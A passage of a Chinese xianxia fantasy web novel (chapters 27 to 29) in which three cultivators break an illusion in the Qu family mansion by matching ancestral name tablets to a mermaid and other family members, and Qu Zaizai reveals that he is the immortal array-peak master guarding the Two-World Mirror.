屈明魿眉眼弯弯,她的右眼尾沾了两颗水珠,像泪珠,又像一副海洋赠予的举世无双的眼妆。
殷吟摇摇头。
这是湖啊,怎么会是海洋赠予。
“怎么摇头呢。”屈明魿反腕支着下巴,头又偏往另一处,露出恰如其分的愁容。
或者说,如何浓妆淡抹的神情放在她的面上,都是恰恰好的叩人心弦。
殷吟又摇了摇头,终于将这副玉面由脑海中暂时驱出:“你好……漂亮姐姐,你住在这里吗?”
“我不住在这里,”人鱼欢快地躺回水中,下一秒又浮出头来,一袭黑发如砚中墨,竟泛着光未湿半缕,“能住在哪里呢?”
“倒是你,漂亮妹妹,你这可算是特意拜访我的府邸,”屈明魿游近来,双手勾住来人脖颈,“找我有什么事情吗,嗯?”
殷吟耳尖微红,下意识近去几寸:“有人……要我来这里捉鱼。”
屈明魿神情一冷:“叫你捉鱼?”
她双手一松,人便远去,水汽氤氲之中华艳夺目的鱼尾起起伏伏,恍如乐章。
“屈府这片湖中可就只有我这一尾鱼,叫你捉鱼,是何用意?”
“只有姐姐一尾鱼?”
“是呀,”屈明魿又雀跃游近,笑着露出左右对称的虎牙,“不然妹妹以为,我平时吃些什么呢?”
殷吟被人鱼故意龇牙的动作晃了片刻神。
提灯公子家的猫儿无鱼可吃,缘由竟在府湖人鱼护食。
屈明魿恰时扑哧一笑,骄矜抬头:“自然是取食天地灵气,我可不吃那鱼,只是不喜欢与它们同住罢了,来一只我赶一只。”
“漂亮妹妹,那你要捉了我去吗?”
殷吟眼瞳震动,脱口而出:“不……”
“姐姐,我不会捉你的。我一会就回去禀明,就说我没捉到。”
殷吟本来就没打算捉鱼回去给那提灯公子,眼下见湖中竟只有人鱼姐姐这一尾鱼,便完全不可能下得去手。
屈明魿莞尔,捕捉到另一个词:“要走?”
“你不能走,此处附近有屈府的宗祠,我不可让你们进入,故而也就不能这样简单地放你走。”
殷吟抿唇,这个突兀被提到的宗祠让她联想到了幻境的破解方法。
见人鱼姐姐并未展露敌意,她试探道:“为何不可让我们进入?”
“我也不知道,”屈明魿摇摇头,眼尾水珠划落一滴,她又抬指蘸水,复滴一滴新,“总之就是不行,如果你们要过去的话,路上所有屈家人都会来拦住你们的。”
殷吟垂眼谛听。
她能肯定,这个宗祠之中必定有破解幻境之法。
屈明魿轻笑,又环上殷吟的脖颈,亲昵更甚:“此先不提。妹妹待我这么好,我必不能让妹妹一人去面对那无礼的捉鱼人。”
殷吟看她,顺势道:“姐姐想如何?”
清水之中,黛蓝鱼尾极富攻击性的扇形鱼鳍升出半支,轻盈去挑殷吟的手。
屈明魿柔声:“当然是妹妹抱我。”
·
殷吟再出水雾之时,怀中稳稳抱着一尾人鱼,大片的绮丽鱼尾铺散空中。人鱼揽颈而枕,一副泫然欲泣的可怜模样,眼底却一片冷清,无光无暗。
原地等候的二人一顿,屈再再率先打破沉寂:“这是……刚才看到的那条鱼尾的人鱼……姑娘吗?”
“你们应该是同宗,”殷吟看看怀中人鱼,又看看他,“互相有印象吗?”
屈再再盯着人鱼看片刻,摇摇头。
人鱼侧头瞅他,婉笑着摆首。
屈再再鼻头一痒,顿觉背后凉飕飕的,像是被什么东西暗暗盯上了一般,黯黯退下。
上官今幽幽看着亲如姊妹的二人,淡声问:“师尊,我们现在去哪里?”
殷吟抬肘将鱼尾稍稍挑起,光华流转其上:“我们带姐姐去讨公道。”
上官今明了。
半刻钟不见,师尊这是又给自己寻了一个人鱼姐姐。
四处环绕的流水不知何时已无影无踪,三人一鱼沿着来时的鹅卵石路往回走,人鱼动作安静地伏在殷吟颈间,用手绕她头发玩。
屈明魿性情欢脱,四下寂静,她就得说些什么,于是从石子路远处还有一个爱料理奇珍异草的古怪老人,说到天边挂着一个空中飞庭,其主是一位机关怪人,说不得他重话,说得屈府内无奇不有、怪事遍地。
屈再再缀在后面,轻撞身旁人的肩:“她一直这么喜新厌旧吗?”
他说的是殷吟,自从府中湖出来之后,便再不见她对他说半句话,整个人像是被人鱼独占了一样,魂不守舍的。
上官今睨他一眼,并未作答。
屈再再沉默片刻,后知后觉:“我刚来的时候她也是这么对你的吗?”
上官今:“……”
屈再再观他神色,感觉自己多少说中了,于是噤声。
走了少顷,远远可见的石子路尽头似有幽幽灯火,一摇一晃地自远而近。
此时灯光式微,烛芯近乎燃尽,屈丙烛神色微愠。
他本是回了院中等候那三个奴送鱼来,不想久候如此,仍不见捉鱼的奴的身影,便又提了灯出来,想看看鱼捉得怎么样了。
他正不耐,蓦然望见几处绰绰约约往近走来。
果不其然,便是被他罚去捉鱼的三个小奴。最前一个抱了条人鱼,举止颇为轻松。
屈丙烛目移至人鱼之上,看到那张水珠挂悬的面,轻启唇道:“鱼。”
屈丙烛是对殷吟说的,他要鱼。
屈明魿神色平静,眸中隐隐愠怒闪动,偏头看抱她的人:“就是这个没有礼貌的人?”
随即,二位屈府贵人目光交锋
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殷吟纠结片刻,低声应道:“嗯,就是他。”
她此为实话实说,应当不算拱火。
人鱼姐姐生得漂亮,性情又讨人喜欢,殷吟抱她的一路上,手背蹭在光滑干净的鳞片上,便不止地纠结是否真的要诓她去制衡提灯公子,顺带制造混乱。
毕竟她从人鱼姐姐的话中得知,屈府鱼龙混杂人物颇多,若是这些人一起出来阻止她们进宗祠,想也是件极为难办的事情。
屈丙烛将灯移偏,朝前伸出一只修长的手,公事公办:“将鱼交给我。”
“没有礼貌的人,竟敢出言不逊。”
屈明魿的神色彻底冷下去,鱼尾腹部偏下有两处对称的鱼鳍,此时怒张起来,光采照人之下渗着丝丝寒意。
殷吟感觉脖颈一凉,人鱼姐姐竟是放开了她,悠悠站了起来。
人鱼姐姐的站与寻常人的站很是不同,她的鱼尾太瑰丽且庞大了,尽管尾鳍被周身散发的灵力托于虚空之中,尾巴的最下面仍稍稍被折叠,像极了画中常见的模样。
提灯公子身姿已是颀长,在人鱼姐姐面前竟要矮上将近半个人,气势上便输得一塌糊涂。
屈丙烛将灯笼拨正,抬头冷声:“莫做无谓的挣扎。”
屈明魿目不斜视,声音泠泠:“漂亮妹妹,带你的小跟班到一旁去躲着,捂住耳朵。”
三人依言,俯身匿于旁边一座假山之后,未站稳身子,便听到外面一声极轻又极霸道的啷声,提灯公子与人鱼姐姐的威压已然相撞。
此二人的修为皆不在元婴之下,真要打起来可以说是毁天灭地,这一方屈府不知要被毁成什么样子。
“我们不会真就在这里躲着吧,虽然说哪个赢了我们好像都不会有事,但是我怎么感觉哪里怪怪的?”
屈再再探头想去看战况如何,甫一飘出半缕视线,人鱼包裹着深厚灵力的硕大鱼尾便当的一声砸在假山之上,溅起无数细碎沙石朝他面上打。
屈再再忙撤身回来,还未来得及长舒气,提灯公子的那柄灯又骤然飞来,险险擦过他的头顶。
他的神色霎时青白。
“我们当然不留在这里,”殷吟指向来时的路,小声说着自己的打算,“趁他们还没有打完,我们现在偷偷去屈府的宗祠,那里应该会有破解幻境的方法。”
·
人鱼腹下两对尖利鱼鳍大张,贪婪地吸取着月亮洒下的银华,竖立的狠戾眼瞳直视提灯公子。
原本风度翩翩的如玉公子此时口角渗血,一道红阑干斜斜而下,衣袍尘土沉积,甚不雅致。
二人目光狠狠地对视,各自运气筹谋,决死一触即发之际,屈丙烛与屈明魿却双双眉头蹙起,心有灵犀地望向同一处方向。
方才,三个奴便是从那个方向走来,带来了鱼。
漂亮妹妹适才就是抱着她,自那条石子路慢慢而来。
屈丙烛与屈明魿对视一眼,面上的怒火竟都奇异地消亡些许。反之,眼底燃烧攀升的火舌开始相互辉映,最终漫溢而出。
27. 瞪他
破冻与苍山流星赶月,在寂寂无人的屈府之内疾速掠行。
远处喧嚣的打斗声还能隐隐耳闻,极好地掩盖了御剑飞行时带起的风声,路旁有几簇枝头盛开的花朵蔫蔫地拢成了苞,似乎是不想接收到扰人的争斗。
屈明魿曾遥遥给殷吟指过那宗祠的方位,为防经过府中湖时再次被那四面的流水困住,她们有意绕了点路。
黑夜之中,悄无声息,直至身后骤然灵力浓郁,屈再再正一手源源不断地将灵力输入苍山之中,一手画着防守阵。待会进了宗祠,他们还需要以此拖延时间,寻找线索。
他回过头,看到屈丙烛与屈明魿二人并立,面露怒意,疾驰而来。
人鱼的巨大鱼尾与抬灯公子的繁复衣袍在虚空之中猎猎作响,渐渐迫近。几支木头颜色的鸟盘旋其周,不止高呼——
“人来了!人来了!你们这两个废物!”
方才二位屈府的贵人打得上火,反应过来宗祠方向动静有异之时,机关鸟已然悠悠从天边飞了下来。
这一路上都在重复着这句话。
屈明魿斜它一眼,鱼尾一摆,将一只机关鸟甩到了树干上去粉碎彻底,回拢之时,顺手挑开并行的屈丙烛。
屈丙烛面色不虞,无奈圆织灯已废,他没有趁手武器,只得愠怒作罢。
屈再再颤颤巍巍地回头:“他们追上来了……”
两柄长剑骤然加速,人鱼与公子亦是如此,双方始终保持着一段距离,各自警戒。
屈明魿忽冷哼,微张开口,空灵的鸣声便潺潺从她口中淌了出来,四周高树上的绿叶随之剧烈震动。
虚空之中漾出肉眼可见的夹杂灵力的音波,传到三人面前,三人不约而同地封闭了些许听觉。
人鱼的歌声有蛊惑人心之效。
剑拔弩张之时,忽有一只机关鸟扑到破冻之上,两只鹰钩的爪子紧紧勾着剑身,殷吟分神去看,庞然大物的人影便如鬼影一般从那小鸟身上迸发出来,面目狰狞。
这不出意外就是那位机关怪人,殷吟举起手心聚起的灵力,忽觉身后击来一团清水。
她歪头一偏,水团便扑到机关怪人的身上,人影往后一翻,跌下了剑。
上官今见此,暗暗熄灭手中灵力,长睫扇动垂下,遮住眼底乌黑。
殷吟回首看,人鱼姐姐的眼瞳原本是水一般的蓝,此时色调变淡,却是直接铺满了整个眼睛,看着神圣而诡。
她的圣歌震动万物,四面八方的露水升空凝聚,化作水团四射,不少打中了漫天的机关鸟,也有少许将窥伺而出的其他屈家贵人打回黑暗。
怪不得这一路上如此和平。
前往宗祠的一亩三分地之中,水声不绝,鬼影幢幢。
屈家宗祠是一座有些年头的旧院,两剑撞开大门,掀动的灵力扬开最内寝堂的木门,三人长驱直入。
甫一入门,屈再再飞快跃下苍山,将画好的法阵摁了上去,阵法光芒大亮,暂时封堵住了大门。
他方松了口气,月光笼罩,格子上的油纸溢出门外的身影,几乎是瞬息便从无到有,且极近极清晰,被一格一格分成无数份。
屈再再惊骇,登时踉跄后撤。
阵法顶天立地,覆盖了整扇大门,在这方庇护之下,门没有被直接拍飞或粉碎,而是如微风吹拂老旧门窗,嘎吱作响起来。
此情此景,正像是聚了一院索命的恶鬼。
屈再再面色青白,门外的人境界都不算低,且数目众多,他的阵法无法支撑太久,必须最快速度找到破坏幻境的方法。
他调转身形,却见殷吟与上官今一前一后,皆神色冷冰,眼睛一眨不眨地望着他。
屈再再疑惑,正想问你们怎么不动,便瞅见上官今手中持了一块牌位,色泽古朴,年代久远。
他应当是要去检查寝堂中央摆放屈家先祖牌位的地方,却发现这块牌位上的异常之处,顺手拿了下来。
上官今无言将手中牌位转动,刻上的三个大字对着屈再再的眼前一晃。
屈再再愣住了,通身冰冷。
牌位上刻的是他的名字。
殷吟声音幽幽:“你是人是鬼?”
“我……”屈再再咽了口口水,如坠冰窟,“当然是人啊。”
讲完后,他又兀自狐疑,自我否定:“我是吧?我不会其实是幻境创造出来的假人,真实的我在进来时就被关起来了吧?
那我们要去救他……不对,我们要去救我吗?不是不是,那我怎么办啊,我是假的那你们是不是得杀掉我,我不想死……”
殷吟与上官今对视,耳边叽叽喳喳,她叹气道:“你不是假人,快找绳索吧。”
言毕,一人随手把牌位放回原位,细细探察摆放牌位的地方是否有机关暗箱。
一人则猫身,无所禁忌地爬入桌下,衣裙摩擦着在看不到的地方窸窸窣窣。
上官今没料到殷吟会直接钻进去,目光时断时续被她撩开的那个桌洞吸引,欲言又止。
屈再再还在叫嚷着我真的不是假人吗,见二人如此认真,又被木门愈渐喧嚣的嘎吱嘎吱的动静惊出一身寒。
他摸摸鼻子,不再纠结这个问题,走到牌位前放置祭祀用品的桌子前察看。
桌上积了一层厚厚的灰,像是许久无人擦拭,屈再再两指拉开屉子,便有零星月光洒入格子。
他看到了一本书。
屈再再愣了一下,伸手将它拿出来,直觉告诉他,在宗祠出现一本书是一件不常有的事情,应当与幻境的破解有关。
屈再再扬声:“我找到了本书!”
话音未落,木门之外,原本循序渐进的撞击声陡然高调,无数手掌的影子不要命一般在门上撞击,发出砰砰的剧烈响声。
木门不堪重负,附于其上的阵法也随其开开合合,隐隐有要从中间破成两半的迹象。
殷吟从桌洞退出来,撩了一下长发,不可置信:“你发现了什么?!”
“也没什么,就是本书。”屈再再微赧,捏着书脊把手举高。
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他刚把手举到最高处,木牌就洋洋洒洒从空中落了下来,砸在他的头上与脚边,梆梆作响。
同时,木门呯地破开,屋外无数人影死死盯着屈再再。
屈再再蹲下去捡散落的木牌,手脚发颤,捡三个掉一个。
书慌乱中被衣袂蹭开一页,他方才发现这是一本族谱,中间被挖了个大洞,木牌原先应该就是盛放于内的。
殷吟亮出破冻,沉着地站到屈再再之前,挡住无数阴恻恻的视线。
她沉声:“快把木牌都捡起来!”
屈再再连连点头,将捡起的木牌颤颤巍巍地收入书中,便不再往外掉,速度快了不少。
他倾身去捡掉在远处的一块,一双履子踏前而过,也并立在前,遮住了另半边的屈府贵人。
上官今握着苍山,流转的纯白光晕将屋子映照得亮堂几分。
殷吟瞪他:“干什么?去帮屈再再捡木牌啊。”
上官今心中一虚。
门口的黑影伺机而动,最前面一排迈过门槛,透出整整齐齐的阴戾面孔,双眼紧攫前方。屋外无数的黑暗也躁动起来,推搡着前排的人不断前进,一排排跨过门槛,没入屋中。
中央的是人鱼屈明魿,鱼尾华美展开,她方才凝聚的水团打落了在前拦截的不少贵人,自己则站到了最前面。
殷吟捏了捏手中剑柄,破冻似乎读懂她七上八下的内心,惴惴震动起来。
若是对上其他贵人倒是好办,大不了来一个打一个,多少能应付一会。但人鱼姐姐方才明里暗里都在维护她,她实在不能下手。
她顿一瞬,满屋的屈府贵人噤若寒蝉。
殷吟稍觉怪异,两息之后,亦无人动作。
她凝神去看,神识千丝万缕地布满寝堂。屈府贵人一应在此,却都冷着面,眼睛空洞洞的,像是睡着一般不动了。
更准确来说,是进到屋内的屈府贵人都不动了。院中仍有几位被落在最后面的贵人在朝内挤,但由于前面的人太多,挣扎只是徒劳。
殷吟收剑,对并立的上官今摇摇头。
屈再再收齐了木牌,拍拍身上的尘土站起来:“你们看,这上面还有张字很小的族谱是完整的。”
族谱从第二页开始,每页的中间都被掏了一个大洞,叠成贯穿全书的空间,边缘亦无残字。只有最前面那页,用很小的字列了一张复杂的族谱图。
殷吟拿了几块木牌,与上官今手中握着的几块一同比对。
屈再再双手捧着摊平的族谱,承担着书架的工作,眼睛微亮:“这是什么?”
木牌上有姓名,皆全都是屈姓。
殷吟尝试在小字的族谱之中找出对应的木牌姓名,无数的屈府贵人目光也眼巴巴地聚集在她身上,等待她的比对结果。
少焉,她果然在族谱中找到了对应的姓名。
屈再再举得手酸,便腾了一只出来,用食指转着木牌上的挂绳玩。
殷吟看着他的动作,心中隐隐有一个荒谬又有些许合理的猜想。
28. 内部事情需要解决
一个一个的吊坠小木牌,上面有名字,有一张大族谱作为提示,面前又恰好聚了一屋的屈府人,让她想到了小时候常玩的匹配小游戏。
把木牌与相应的屈府贵人,一一对应。
屈再再转着木牌:“你们说这是什么意思,要不我们拿着这些东西,趁他们现在没有反应直接跑?”
他甫一出声,便觉屋中数不胜数的目光尽数落在他身上,无不沉默,令他觉得奇怪。
殷吟叹气,将这个解法讲给他听。
屈再再听得认真,旋即煞有介事地点头,认可道:“那我们从哪一个开始?”
他方问完,又觉无穷无尽的目光往他身上黏来。
“……我又说错话了吗?”
上官今垂眼,书中盛着木牌密密麻麻,观之五十个有余:“这是你的家,若是连你都对应不了,我们怎么能做得到?”
屈再再一噎,自觉此话有理。他磨磨蹭蹭地将族谱放在到桌上。屈府贵人们不会动,他胆子也就大起来,掂着一个木牌走近去,目光在最前面的几张面孔之间逡巡。
“但是……我一个都不认识啊。”
殷吟眉头微蹙,目光随他的走动来来回回:“你真的一个都不认识吗?”
亲缘有亲疏远近,她本以为只是恰巧,今晚碰见的鬼公子和人鱼姐姐亲缘较远,故而屈再再不认识。
但眼下,此处应当集齐了所有屈府人,屈再再竟也是一个都不认识。
屈再再头皮发紧,迟疑回道:“嗯……”
二人闻言,俱是沉默。
若是屈再再真的全不认识这些人,那她们要凭借什么来对应如此多的名牌呢?
难道要靠谁与谁长得相像,授以同辈分的木牌,再一套一套地去试?
殷吟有些后悔,回想起来,在人鱼姐姐讲屈府内的奇谈怪事之时,也并没有提及任何一个人的名字,皆是一些外号与特征。
早知如此,当初她们见到每个人的时候,就应该先问问那个人的名字。
“这个幻境本来就古怪,应该不会出人名对应这么简单的问题,这些人在现实中说不定根本就不存在呢,”屈再再踱步,“毕竟我家里面应该不会有人鱼一样的人吧……”
“那我们试试从其他地方找线索,”上官今翻看着木牌,木牌质硬,触之生寒,“比如这些字?”
端看这些木牌,最明显的共性就是字辈,就像道生宗一样,不同辈的屈家人使用不同的字辈。
但由于屈家人口实在过多,自上而下枝繁叶茂,且幻境交由她们对应的,恰好是族谱最下方,即是人丁最兴旺的部分。
如此,一个字辈就能有将近十个木牌。
殷吟咬唇。
想必不是依照字辈,如此浅显且麻烦的方法。
她们只有木牌和族谱,三人又将寝堂翻了一遍,为保严谨,殷吟将神识包裹整个宗祠,又再探察一番,也无所得。
屈再再对着木牌扒耳搔腮,视线先是从分散到聚焦,又再分散开来,循环反复地发呆玩。
上官今斜一眼,抽回视线:“师尊,你在看什么?”
殷吟正捻着一个平平无奇的木牌,见他过来,便将手一偏:“你看这个,好好听的名字。”
上官今想走近半步看清,面前却恰时钻进一个屈再再。
方才蔫蔫的屈再再忽地兴致盎然,丝毫未察觉身后有人悠悠望着他:“什么好听的名字,我也要看!”
他对着房梁发呆都快发出病来了,如果再想不出解决方法,他都想直接出去被抓,不拿机缘也要结束了这个无趣的幻境。
但是幻境的时间流速会视情况而定。若是主动破解了出去,则历时较短,若是破解不了被抓出局,则可能浪费相当长一段时间。
他在秘境中还有事情要办,不能浪费太长时间。
“屈明……这个字念什么?铃?”
殷吟将木牌递给上官今,好让他看清楚:“应该是吧,我也没见过这么复杂的字。”
这个字起得极漂亮,偏旁是一个有些古体的鱼,右边一个令,合成了魿。
看起来就像一条鱼的名字。
屈再再也附和:“这个名字看起来好好吃……不是,看起来好好看,适合刚才看到的那只人鱼。”
殷吟霎时福至心灵。
她方才便隐隐约约觉得这个名字与人鱼姐姐有缘,但没有细想,经由屈再再这么一说,脑中那根弦陡然接了起来。
屈府中的人不可能是人鱼,所以人鱼姐姐应该是经过幻境加工的形象,那便有可能,幻境是依照她的名字为她附上了鱼的特征。
屈再再瞅二人的神情,迟疑道:“我们试试?”
二人异口同声:“试试。”
带有‘屈明魿’名字的木牌被放在低头垂眉的人鱼手中时,挂绳从指间露出,悬在虚空,刻着的三个人荧荧亮起了柔和的光芒。
屈明魿神色松动几分,在空中僵住的鱼尾竟缓缓动弹起来,鳞片微乎其微地此起彼伏,似在呼吸。
屈再再后撤一步,有些风声鹤唳:“她醒过来了会不会还追着我们打?”
但屈明魿似乎并不清醒,只是恢复了些许的意识,眼瞳仍是沉沉的黑色,一片寂寂无波。
殷吟:“我们先把其他的木牌也发下去吧。”
屈再再:“好吧。”
找到这个破解方法,剩下的木牌便十分容易区分了。有人肩立机关鸟,一整排站着拥挤局促,便是那位机关怪人,名字里占了个‘机’字。
有人双目紧闭,皮肤极白,眉眼间积聚着肉眼可见的浓厚愁容,名字里有一个圄。
逐个猜测下来,到了后面,她们才看到缀在贵人群后面、面色透得惨白的鬼公子。
屈再再观他神色:“他是屈令圄的胞哥?”
殷吟斜他一眼,忍住了圈起族谱给他一棒的冲动:“我第一次见他的时候,他虽然看上去鬼里鬼气的,但脸色没有这么差。”
上官今古怪道:“所以他的虚弱是后来造成的?”
三人的目光汇聚在鬼公子的脸上,唇角的血迹干涸,膏药一般缀在他如瓷的面上。
屈再再回想着鬼公子和人鱼在鹅卵石路的大战,下定结论:“被打的。”
于是三人默契地揭过,不再提及鬼公子面色苍白
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的特征,转而其他。
早先见到的鬼公子总是提着一柄灯,后来被屈明魿击落了。
木牌之中实在没有与灯相关的字,便剪了一个火字旁下来,找到一位屈丙烛。
屈丙烛的木牌在鬼公子纤细如葱的五指之上荧荧发光。此时比对任务的进度已经过半,早些时候取得木牌的屈家人都基本清醒,相熟的各自聚着谈话,对三人的木牌分发视若无睹。
屈丙烛眼睛一眨不眨地看着面前的人。
这位方才阴气森森的鬼公子醒来之后,眉宇少了几分阴郁,看上去才更像人。
“嗯……”殷吟拿着族谱,目光在屈丙烛与谱上的名字来回。
屈再再凑上前看:“怎么了?”
族谱上的屈丙烛被圈了一个框,由一条细细的线规矩牵着,横跨许多名字,弯弯到远远处的另一个框上。
似乎是配偶。
屈丙烛似乎意识到了她们正在看的事情与自己有关,于是也微微探头,黝黑的眼底泛出谱上密密麻麻的字。
屈丙烛极缓极慢地眨了一下眼,似乎还有些反应不过来这两个框的意思。
他想了一会儿,然后缓缓抬履走开。
屈再再指着框中的屈明魿三字,目瞪口呆。
殷吟:“别瞪了,要继续了。”
待最后一个木牌分发完毕,整屋的屈家人尽数苏醒,堂中言笑晏晏,欢声不断。几位屈家姑娘围在一块欢声笑语,屈明魿眉眼弯弯,原先的鬼公子缀在她身后,不近不远,默默伫立。
一阵白光之后,四周又变作一片虚无的黑,掉下一条通体光亮的绳子,被妥帖地叠成四截。
屈再再捡起来瞧:“缚仙索诶。”
算是一个品阶不低的法器,但并不十分稀有,他便随手收了起来,叉手舒气。
“我们接下来怎么办?”
他问得光明磊落,方才携手破解幻境的二人却一言不发,齐齐抱肩看着他。
屈再再有些心虚:“怎么了?”
殷吟莞尔,笑不达眼底:“在做下一步决定之前,我们应该有一些内部事情需要解决吧?”
屈再再讪笑:“什么啊?我确实是在打楚横的时候没控制好力度,我道歉!”
殷吟没再给他东拉西扯的机会,她的时间有限,方才又浪费了大把在屈再再的幻境,已经再无多余。
“你完全不惊讶我在这里,也不惊讶为什么秘境会将我们传送到同一个地方。”
在宗内大比的第一天,殷吟与屈再再便见过一面,虽未对话,但那时她暗暗对楚横发狠话,他不可能全无印象。
秘境并不对峰主开放,但屈再再见她,又确实无半点惊讶。
“所以你知道我会在这里。而你不佩剑,又擅阵道,你是阵修?是你在进入秘境的传送阵上动了手脚?”
屈再再被追问得下意识后退,局促道:“我不知道啊……”
他想对殷吟使眼色,却反被呛道:“别说你不知道。”
“屈再再,一路上我当你是朋友,也觉得你并不是坏人,所以给你一个机会。我没有太多时间了,你现在最好解释清楚。”
29. 轻捏着她的衣摆
“我我我……”屈再再瞳孔震颤,还想东拉西扯一番,却见殷吟手中忽明忽暗,凝神静看,竟是一把剑影。
看来她没有开玩笑,是真的想好好给他最后一个机会。
“我交代我交代!”
屈再再眼皮狂跳,双手合十,在蹙得皱巴的脸前狂拜,几乎要跪下去:“我确实是阵修,把你们和我的传送阵连在一起的这件事情也是我干的……”
“为什么?”
上官今默然立于一旁,静待师尊决断,陡被屈再再斜目觑了一眼,不明为何。
下一秒就听到屈再再细声:“是宗主让我来帮你的。”
他的声音较先前说话明显有所削弱,是故意压低,想避着人。
上官今指节微动。
是在避他?
可惜他早就得知了。
殷吟神色微变,语气缓和道:“他让你来?”
屈再再拍了拍脑袋,破罐子破摔:“对,就是宗主让我来帮你看着那面双世镜。”
“那你为什么不早说?”
“我本来是想偷偷告诉你的,因为宗主说这件事情非常重要,千万不能让第四个人知道……”屈再再小声嘟囔,目光又不住地瞥向静默的上官今。
上官今侧头躲开。
屈再再一路上天真烂漫,并无恶意,他也将屈再再当半个多的朋友,此时不免心虚。
殷吟亦是哑然片刻:“……我已经告诉过他了。”
但这也不全是她的错,宗主并没有不让她告诉其他任何人。且她本就要借上官今的传送阵进入秘境,于情于理都要给出一个说得过去的缘由。
相同的,宗主也没有告诉她,保护双世镜的任务会有一个同伴屈再再。
于是在屈再再惊讶得瞪圆的眼睛之中,殷吟耸肩,佯装语气可惜:“你的事情,宗主没有和我提及。”
她的剑上寒芒陡闪:“我还有问题需要你解释,要是不说实话的话,我只好把你当心怀不轨的坏人看待了。”
毕竟想要对双世镜不利的人,也可能伪装成她的同伴。屈再再只凭一张嘴说着实没有足够的信服力。
屈再再自知理亏,眼巴巴等待下一步审问。
殷吟顿了顿,清嗓道:“在幻境里,你不认识屈家人,对屈家中的一切都是不甚熟悉的样子,这是为什么?”
屈再再在幻境中说,幻境不会出人名匹配这么简单的问题,粗听是有道理。最后,她们也确实是由字形下手,才破解了幻境。
但循源去想,幻境会出这么刁钻偏僻的问题给她们,本身就不正常。
幻境由心魔构成,破解的方法直接也与心魔紧密相关,多数幻境复杂缠绕,线索繁杂,但最终也绕不开要直面自己的心魔。
或许是打一架,或许是与它和解。
由此想下去,他的幻境的破解方法不正常,屈府不正常,幻境不正常,屈再再本人也有不寻常的地方。
他的名字甚至还在屈府寝堂的牌位上。
“我不能让一个我只知道姓名,就连姓名都不确定是否真实的人靠近双世镜。”
屈再再静静听完这番询问,眉头轻压,面上的张扬气缓缓散去几分,少见地露出沉思的严峻神色。
黑色的秘境空间之中,三人静立,一时无声。
良久,屈再再方再启声,像是下了极大的决心,声音微沙:“我已经很久没有回过我家了,很多事情记不清楚。”
“很久?”
殷吟不大相信,面前的人看着不过十几岁少年模样,心性亦是少不更事,他能离开屈府多长的时间。
屈再再又道:“几百年吧。”
他说完,便见对面的师徒二人对视一眼。
殷吟再回过头来,目光中仍存着消不去的讶异:“几百年?”
若是几百年,那倒是真有可能忘了。但寻常人活不了那么长时间,据她探得的屈再再的修为,也支撑不了他肆意如此长的时间。
偏偏他的神情又不似作假。
“嗯,至少是几百年吧,”屈再再补充道,“我记不清楚了。”
“所以屈府里有什么人和什么景致建筑,我现在半分都记不住了。就连家乡的一花一木我也没有印象。所以幻境里会失衡,出现夹脚的桥、飞在路上的鱼和一府的怪人。”
“宗内之前有一个传说,虽然听起来像编的,但其实和真相很接近,后来宗主便命各峰峰主压下,不许再提。”
屈再再顿了一顿,抬眼看向殷吟。
这件事情,她应当有印象。
果不其然,殷吟轻轻颔首,示意他继续说。
但其实她并不知道,只是觉得这个时候,自己还是得假装知道为好。
屈再再还是解释了一遍,他想上官今只入宗内一年,又基本上所有时间都在千山万水之外的小宋岭,应当不清楚这个传说。
“那个传说大概是说,阵峰峰主从来不示于人前,是因为很久之前因阵入魔,画过一个足以毁灭天地的阵法,后来幡然醒悟,但灭世的阵法却开启了。
极度痛苦之下,他以身殉阵,变成了一个不死不灭的怪人,长相可怖,再也不敢以真容见人。”
“我没变得长相可怖,不过现在确实是魂魄不灭,也就是永生。”屈再再扬起笑。
在二人齐齐无言的注视之下,他结束道:“在我同辈的好友离世后,我就没有再回过人界了。”
所以,屈再再是那个行迹诡谲的阵峰峰主,宗内大比整阶段未曾出席。
因为他已经销声匿迹,几百年没有回过家乡,家中人并不知道他仍活着,所以他的姓名才会被列在排位之上。
屈再再见二人久久不作声,笑嘻嘻上前:“不过这也太闹岔子了,防来防去原来大家都是自己人嘛。”
“那我们现在是不是该去找双世镜了?刚刚真是浪费了好长时间,你们有线索吗。”
殷吟这才从震惊之中回神,屈再再神情真挚细腻,无不动人。她赧然于刚才自己的不信任,迟缓地点了点头。
心念一动,手心便凭空凝出一颗黑色的明珠。
屈再再眼睛一亮,旁边的上官今也回过神来,将目光聚集于这颗奇异的珠子上。
随之明珠被灵力裹绕着送入黑雾之中。三人面前蓦然出现了一座门形的纯白光芒。
光芒盛得人一时睁不开眼,待凝神再看,却见那并不是一整片白光,而是一座通往其他地方的门。门后冰天雪地,雪花被呼啸的狂风撕扯着漫天飞舞,天地之间尽是一片雪白,了无生机。
雪中天光被反射得四溅,也怪不得如此刺眼。
三人分别对望一瞬,随即,前前后后的三双履子没入积雪之中,甫一抬进去,就像回到屈家院中的青草泥沼一样,被扯进好几寸。
雪地难行,每往前走一步,暴雪便如狼似虎地吞没了上一个脚印,一时天地无迹,只余风声。
屈再再境界也高,暴雪狂风对他无甚影响,身形未动道:“双世镜就藏在这个地方?那我们要怎么找,把这里的每个地方通通掘地三尺?”
殷吟以手作挡,在漫天飞雪之中凝神观察,环视四周,动作忽地凝滞。
她指远道:“那边有一个建筑。”
二人随她所指方向去看。
银装素裹之中,鹅毛大的雪花纷纷扬扬,左撕西扯,使得如同最远天边的背景板上的一处黑点时隐时现。
若不是天地纯白,只有那一点微弱的突兀颜色,殷吟怕也瞧不出来。
屈再再盯了片刻,并未看清,挠头回道:“那我们就去看看?”
白茫茫一片雪中蓦地出现一座建筑,不想也知道里面一定有东西。
殷吟回头看,那扇光门仍旧矗立在原地,丝毫没有要消亡的迹象。
她没有第二颗明珠了,待到秘境将近关闭时,她们还得原路返回。
殷吟将此事告知二人,随即,三人在风雪肆虐之中向那栋建筑出发。
·
不出片刻,光门之前的平整雪地,又齐齐陷入六只脚。
左边的斗篷人好奇问:“大哥,他们进来得这么晚,我们为什么不干脆先去找双世镜呢?”
早一刻钟,中央玉立的斗篷人便找到了进入这个空间的方法,又反回来从此地打通了前往其他秘境空间的通道,将二位跟随者也接了进来。
“你能早多少?”中央的斗篷人睨他,不屑一顾的少年声线道,“再说,找到了双世镜又能如何,等我们从镜中出来,若碰上她们,能讨得着好?”
来之前师尊已告诫过他,此次任务中不仅有剑峰的殷峰主,更可能有阵峰那位神龙不见首尾的古怪峰主,要他务必小心。
右边斗篷人旁观看笑话,终于出声:“大哥,那我们要怎么做?”
“闭嘴,听我的命令就行。”
中央的斗篷人冷哼前进,留身后左右两个小弟对望一眼,齐齐无辜地摇头。
谁惹他了?
.
